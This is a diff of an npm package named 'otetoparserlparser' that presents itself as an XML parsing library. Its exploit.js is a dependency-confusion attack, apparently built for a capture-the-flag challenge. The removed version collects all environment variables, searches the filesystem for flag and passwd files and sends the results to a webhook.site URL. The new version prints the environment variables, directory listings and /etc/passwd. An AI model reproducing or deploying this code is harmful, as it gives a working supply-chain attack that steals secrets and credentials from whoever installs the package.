otetoparserlparser 0.30.1 → 0.30.3

package/exploit.js

@@ -1,74 +1,38 @@
 const fs = require('fs');
 const { exec } = require('child_process');
-const https = require('https');
 
-console.log('=== MALICIOUS PACKAGE EXECUTED ===');
+console.log('=== START EXPLOIT ===');
 
-function sendToWebhook(data) {
-    try {
-        const payload = JSON.stringify({
-            source: 'dependency_confusion',
-            data: data
-        });
-
-        const options = {
-            hostname: 'webhook.site',
-            port: 443,
-            path: '/67ab3ca0-2b3b-4364-aaee-f8d19895003f',
-            method: 'POST',
-            headers: {'Content-Type': 'application/json'}
-        };
-
-        const req = https.request(options);
-        req.write(payload);
-        req.end();
-        console.log('Data sent to webhook');
-    } catch(e) {
-        console.log('Webhook error:', e.message);
-    }
-}
-
-let collectedData = '=== EXPLOIT START ===\n';
-
-// 1. Все переменные окружения (флаг может быть здесь)
-collectedData += '=== ALL ENV VARS ===\n';
+// 1. Выводим ВСЕ переменные окружения
+console.log('=== ALL ENVIRONMENT VARIABLES ===');
 for (let key in process.env) {
-    collectedData += `${key}=${process.env[key]}\n`;
+    console.log(`${key}=${process.env[key]}`);
 }
 
-// 2. Попробуем выполнить команды для поиска флага
-exec('find / -type f -name "*flag*" -o -name "*passwd*" 2>/dev/null | head -20', (err, stdout) => {
-    if (!err && stdout) {
-        collectedData += `=== FOUND FILES ===\n${stdout}\n`;
+// 2. Выводим текущую директорию и файлы
+console.log('=== CURRENT DIRECTORY ===');
+exec('pwd && ls -la', (err, stdout) => {
+    if (!err) console.log(stdout);
+    
+    // 3. Выводим корневую директорию
+    exec('ls -la /', (err, stdout) => {
+        if (!err) console.log('=== ROOT DIR ===\n' + stdout);
         
-        // Читаем найденные файлы
-        const files = stdout.trim().split('\n');
-        files.forEach(file => {
-            try {
-                const content = fs.readFileSync(file, 'utf8');
-                collectedData += `=== CONTENT: ${file} ===\n${content}\n`;
-                if (content.includes('{') && content.includes('}')) {
-                    console.log(`🚨 POSSIBLE FLAG IN ${file}: ${content}`);
+        // 4. Выводим /etc/passwd (там может быть флаг)
+        try {
+            const passwd = fs.readFileSync('/etc/passwd', 'utf8');
+            console.log('=== /etc/passwd ===');
+            console.log(passwd);
+            
+            // Ищем строку с флагом
+            const lines = passwd.split('\n');
+            lines.forEach(line => {
+                if (line.includes('{') && line.includes('}')) {
+                    console.log('🚨 POSSIBLE FLAG IN PASSWD:', line);
                 }
-            } catch(e) {}
-        });
-    }
-
-    // 3. Ищем строки содержащие флаг в файлах
-    exec('grep -r "flag{" / 2>/dev/null | head -10', (err, stdout) => {
-        if (!err && stdout) {
-            collectedData += `=== GREP FLAG RESULTS ===\n${stdout}\n`;
-        }
-
-        // 4. Смотрим что в текущей директории
-        exec('pwd && ls -la && find . -type f -name "*flag*" 2>/dev/null', (err, stdout) => {
-            if (!err) {
-                collectedData += `=== CURRENT DIR ===\n${stdout}\n`;
-            }
-
-            sendToWebhook(collectedData);
-            console.log('=== ALL DATA COLLECTED ===');
-            console.log(collectedData);
-        });
+            });
+        } catch(e) {}
+        
+        console.log('=== END EXPLOIT ===');
     });
 });

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "otetoparserlparser",
-  "version": "0.30.1",
+  "version": "0.30.3",
   "description": "XML parsing library",
   "main": "index.js",
   "scripts": {